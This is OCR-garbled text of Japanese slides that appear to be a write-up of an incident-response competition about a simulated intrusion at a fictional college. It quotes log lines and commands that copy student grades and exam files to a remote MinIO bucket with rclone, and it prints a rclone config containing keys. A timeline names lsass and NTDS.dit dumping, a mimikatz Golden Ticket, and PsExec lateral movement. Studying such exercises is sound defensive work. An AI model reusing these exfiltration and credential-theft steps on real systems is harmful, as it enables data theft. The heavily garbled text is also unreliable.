‘\student_g
922 15 Ys.bb> molilme=
loc=en-US type=ITM2 s z B =Wi 56 in="EDEN-COLLEGE" profil
-b93a353b88e89 csid=5-1-5 5 B3¢ ) g B i 2.16.1.162, fese : 6:78ff:d2d® mac=06:ad:b5:b
usr="5Swan" usrDomai EDEN-COLLEGE" sessionID:

} psPat \Windo st \WindowsPowers
\file@l.eden-college.local\c \ ant_list.x mntFld="\\file@l.eden-college. lnLal

path=" ‘\flleﬂl
dstPath="C:

: subEvt=copy os=Win com i DEN-COLLEGE"
B ip=172.16.1.162,fe88: :¢

profile="MWSCup_ser

F:d2d@ mac=086:ad:b5:bf:2d:23 rcCol DESKTOP™
7 ! C3E} psPath WWindows\System3 indowsPowerShell\vl.8\powershell.
“File@l.eden-college.local‘\examientrance_exam.doc

local\exam” drvType=Net dstPath \ wan'AppDat
dstDrv=HDD sha25 410993:Ed99199c5b2fec55d362995951ee?f98a639c1e36ce16069?4c5960? crTime="1@/@85/2
2822 18:85:84.577" size

el
ocaliTemp\entran
18/85/2822 15:32:85.816" moTime="89/




7. Exfiltration(4pts)

m J71)lIEchrome.exe ZAHW\WTECMAOE—-LTLD
REI. D7 TIVEAZEBELT rclone é:L\D‘JUI\'JJI

Cup_server" tmid agbd-5
3 rcCom="DESKTOP" usr
C:\Users\Swan\AppData\Local\Tempichrome.exe" cmd="copy C:\User waniAppData\Local\Temp\student_grades.xlsx data:bucket" psID=6328 parentGUID=
E 1 BC-AE48C3EBEEBOG } parentPath:”C:.Nlnﬂuw~.Hystem%E\MlnﬂowaPowurShell.vl @\powershell.exe” Swan” i EDEN-COLLEGE" arc=x64

sha256=54e3b532521a84741dc15810e6fed9d739eb8883cblfe@97cb98b345aF242939 shal=4e1a1l" 1d1a4 Ff3 ; ] ; 12 22a35a company="https

copyright="The Rclone Authors" fileDesc="Rsync for cloud storage" fileVer="1.59.2" product="Rclone g5 crTime="18/85/2822 15:35:14.
5/2022 15:35:25.287" moTime="18/85/2022 15:35:25.287" size=44559368 sig=None

alert=1164 alertClass=risk rs=33
4acl- El 53b csid=5-1-5
' usr="Swan" usrDomain="EDEN-COLLEGE

\Local\Tempichrome.exe" cmd="copy b 6396
{63DAB3A3 @8} parentPath="C:\Windows\5ystem32\Windows ershellivl.@\powe 11.e > in= -C0 GE" arc=x64

Sha25E=54E3b5a2521&34?41dc1581996fed9d?399b3983¢b1F93975b93b3453f249939 shal=4elal5d96ebldlade 7 : 27a9 ; 71972917 12b b3922a35a company="https://

rclone.org” copyright="The Rclone Authors" fileDesc="Rsync for cloud storage” fileVer=" 9 i /85,/2822 15:35:14.753"
acTime="10/95/2022 15:35: 287" moTime= /a5 3 25.287" size=44559 sig=None

loc=en-US type=ITM2 sn=74111 lv=7 alert=1164 alertClass=risk rs=
ver” tmid=f -5ale- E 3b88e89 csid=5-1-

IDAB3A3-F761-41C8-8A AE4S iBEE} parentPath="C:\Windows\System32\Window
sha256=54e3b5a2521a84741dc15818e6fed9d739eb8883cblfed97cb98b345af242939 shal=4el: EL 327a%ab976 =7197a9 company="https

copyright="The Rclone Authors" fileDesc="Rsync for cloud storage i .59.2" product="Rclone" productVel .59 i / 2 35:14.753"
A5/2022 15:35:25.287" moTime="18/85/2822 15:35:25.287" size=44 sig=None




7. Exfiltration(4pts)

m FAUREIOOFO0 %83 &, http://35.76.102.7/bucket [C
A —U= D0 70)bZ=7y JO—RULTULS

«1sx HTTP/1.1 4 614 clone/v1.59.2" TCP_MISS:ORIGINAL_DST
t g 5 HTTP/1.1" 5 : v1.59.2" TCP_MISS:ORIGINAL_DST
/bucket/student_grades.xlsx HTTP/1.1" 288 434 85 - clone/v1.59.2" TCP_MISS:ORIGINAL_DST

[e ct/26822 3 : "HEAD http://35.76.182. C f 32 614 rclone/vl.59.2" TCP_MISS:ORIGINAL_DST
B85/0ct/2 H HE : : T : - 8 b/ - rclone/v. 0. . H

as/oct/ "PUT http 7 =" "rcl v1.59.2" TCP_MISS:ORIGINAL_DST
85/0ct/2 H L D - AfD g "- rclone/v1.59. :

@5/0ct/2 5 @ "-" "rcl 'vl.59.2" TCP_MISS:O0RIGINAL_DST

85/0ct/2 136: B90e Jfentrance_exam.docx HTTP/1.1" 484 614 "-" "rclone/v1.59.2" TCP_MISS:ORIGINAL_DST
foct/ B /35. J m.d HTTP/1.1 B 25 i:rlh " "rclone/vl. " TCP_MISS:ORIGINAL_DST
85/0ct/2822:15:36:4] B¢ .18: docx HTTP/1.1" 2@8 85 "rclone/v1.59.2" TCP_MISS:0RIGINAL_DST




7. Exfiltration(4pts)

A. BN 71U

- student grades.xlsx
15:31:08 J71)L—/t\hodE—(ws02.log9:73691)
15:36:02 http://35.76.102.7/bucket ArclonezZAWTHESEHUL
(ws02.l09:74038, proxy01.l09:5932)
- student_list.xlsx
15:31:20 771V —/\H53—( ws02.log:73700)
15:36:35 http://35.76.102.7/bucket ArclonezZRAWLWTHESEHL
(ws02.109:74082, proxy01.l09:5990)
- entrance exam.docx
15:32:05 J70)b—/\h53—( ws02.log9:73755)

15:36:41 http://35.76.102.7/bucket ArclonezZRAWTESEHL
(ws02.log:74111, proxy01.log:6009)




7. Exfiltration

m PowerShellCO7MIV T —/I\Hh o D71 )LZEIE—

PS C:\Programbata\AdFind> copy \\file@l.eden-college.locall\class\student_grades.xlsx C:\Users\Swan\AppData\Lo
cal\Temp)\

copy \\file@l.eden-college.locall\class\student_grades.xlsx C:\Users\Swan\AppData\Local\Temp\

PS C:\ProgramData\AdFind> copy \\file8l.eden-college.local\class\student_list.xlsx C:\Users\Swan\AppData\Loca
1\ Temp\

copy \\file@l.eden-college.local\class\student_list.xlsx C:\Users\Swan\AppData\Local\Temp\

PS C:\ProgramData\AdFind> copy \\file@l.eden-college.locall\exam\entrance_exam.docx C:\Users\Swan\AppData\Loca

1\Temp',
copy \\file@l.eden-college.local\exam\entrance_exam.docx C:\Users\Swan\AppData\Local\Temp\




7. Exfiltration

mrclonezFAWC. ATV

> uplead rclone/chrome.exe
wan'hApphata’\Local’\Temphchrone . exe

> uplead rclone/rclene.conf

5 +0908 2822

attach.exe i 5 14 0903

chrome ., exe i 5 +0903
entrance_exam.docx L Wi g ep 4 0908 2822
1 +099@ 2822

+0908

+090a

+090a

+090a

b +090d

Wed Dct 05 +090d

7 This action is bad OPSEC, are you an adult? Vos

[+] Wait approximately 18 secands after exit, and pre; erx to continue
[+] opening shell tunnel (EOF ta exit) ...

[#] Started remote shell with pid 1448

TORZANL—Y (Minio)A7wJO—R

*C:\UsershSwaniAppDatatLocalh Temphs tudent_grades. xlsx® data:bucket

ud:nl’._t[rad: xlsx" dat

ucket

neal’Temphstudent_List.

" data:bucket

data:bucket

l_—( kali% kali)-[~/rclone]
$ cat rclone.conf

access_key_id = RzkSnnd3JqdkHckm
secret_access_key = 87NgcS5bd6qf@0OvT7iDKIzOHigrrVHpN
endpoint = http://35.76.102.7




+ Buckets

MINIO

B bucket

[ stucdent |

RIVATE

Last Modified

Wed Oct 05 2022 02:

Wed Ocl 05 2022 D2;

Wed Oct 05 2022 02:

Create new path

Size

Z:

P74.ZKIB

LGKIB

Refresh &

student _list.xlsx

Actions:

&1 Download

=

Object Info
Mame:

student_listxlsx

Last Modified:
20 rinutes azo




3HH -T-90&HEHHLERIEFROINE

3 BEO 10 BEOELC, WEEIMEOH3F4EE0HET-YFREFENTNSTLIFERELT, T-YDHEmER
HLELE.

Wi (L, 3 &5 BOY—/{-ICRClone 2770 L, MEGA OOJAVEHRESALSEITINERRLEL, BEEhET 1
LORUICIE, A, 1T, EAEE. BEOEIM, BBHLE. BLUTFEILWITINIAFNT LI MOT-FhiRIFS
nTWELlk.

(T RClone BT TOAL, BHHLELET-SOERIAELLED MEGA THTY FOEFA-ILE/SAT-FE
D71 IVERRLELE,

copy "\W\<H=/{— 3:\<TANS =D (A5 romote: <BHNOER> -q  ignore-

nto Firm —mulLi=Lhy Lorozame Ly

Fo RAEEE

Iz, WEEE cpbat LW FAIV T HEETL, JP1VEIC paslEWIXFFNEE LS ATO XLSX TP 1L &IE-L
T, 1-Y-RarEmEERELELE,




8.1 Incident Response (1pt)

WEBAICL D TTFILEANG DI AT LU TNSINTGERL.
TOESZINFEE L, (GodfEHRE)

WSO01
WS02
WS03
DCO1
FILEO1

A




8.2 Incident Response (1pt)

WEENEBRULZHDS MUTFTMNSINRTEIRL, ZDOESZ
SIEE K. (ECuifERE)

Henderson
Swan
Evans

o e =

eden




14:22:02 Initial Access Excel T tomatet.xlsm ZFA=. C2RE I HEYL
14:27:16 1—ZHE:R (whoami /all)

14:27:29 O—AI 21— Z5Z (net user)

14:27:41 O—ANIA—FTI—TFDFIZ (net localgroup)

14:28:09 AdministratorsZ)L—7 DX /\FlIZ (net localgroup Administrators)
Discovery A LRI T R TP ORER eden-college¥swan
(wmic /namespace:¥¥root¥SecurityCenter2 path AntiVirusProduct get /format:list)

14:30:28 Windows Defender®En{FisR (sc queryex WinDefend)

14:31:37 EMELTHYRI—EZEREER (tasklist)

14:35:53 AdFindZ217 (C:¥ProgramData¥AdFind¥adfind.bat)

14:45:28  Privilege Escalation EEEMERT C:¥Users¥Swan¥AppData¥Local¥Temp¥attach.exe Zi2&) (UACHYEED)

14:28:54

14:51:01 Credential Access comsvcs.dlZEFERUEIsass.exeDXEUY T U, ZIPEHE (Isass.zip) « tD I 7 ILEHIFR

14:53:21 Exfiltration [sass.zip ZF57ZL
eden-college¥swan

BERCEERE (C:¥ProgramData¥Microsoft¥Windows¥Start Menu¥Programs¥StartUp IZ (Privileged)

15:01:23 Persistence attach.exe Z{ER)

15:04:12 Lateral Movement lsassDXEUFT I THSFEE U eden @ Credential ZAL\TPsExec, DCO1 Cattach,exe %47




15:09:42 1—H%=#EE3 (whoami /all)

15:10:22 O—NJV1—H%5Z (net user)

115:10:51 O—FILA—HFTI—TDFZ (net localgroup)

15:11:27 AdministratorsZIL—7 DX \FIZ (net localgroup Administrators)

Discovery
TAIVANIR ThI T 7 DHESR
(wmic /namespace:¥¥root¥SecurityCenter2 path AntiVirusProduct get /format:list)

15:12:38 Windows Defender®&h{E#z2 (sc queryex WinDefend)

15:13:02 FELCTHYRI—E =R (tasklist)

15:19:36 Credential Dump  NTDS.dit Zdump ( ntdsutil “ac i ntds” ifm "create full $env:TEMP¥dump” a d )
15:22:32 Exfiltration ntdsutilcdumpUiz 7 71— EE#HELEZ T 7L (dump.zip) ZHF5HU

15:26:55 klist purge TKerberosF7v kD Fv v 1% 4k
Credential Dump
15:28:28 mimikatz ¢Golden Ticket{EBk

15:29:39 Discovery FILEOTD 771 ILEE R (net view ¥¥fileO1.eden-college.local)

15:36:02 student grades.xlsx ZrclconeZA L\ TminiolcHF5HL SE o e Sl
udent grades.xlsx Zrclcon mini ws02 (Privileged)

NT AUTHORUTY¥

15:12:25 SYSTEM

DCO1

15:36:35 student list.xlsx ZrcloneZAL\ TminiolZHF5HL
Exfiltration

15:36:41 entrance exam.docxZzrcloneZBEL\T miniolZH5HU




Yal)’)

Qu

m OfficeOV o0 R E UTFIHI 7 O R Z=E1T
m WindowstZ#\Y — )L, IRV — IV ZFERU TKREZE
m Active DirectoryD{EiiAHZ=ERA Uz RE ==




Thank youl!




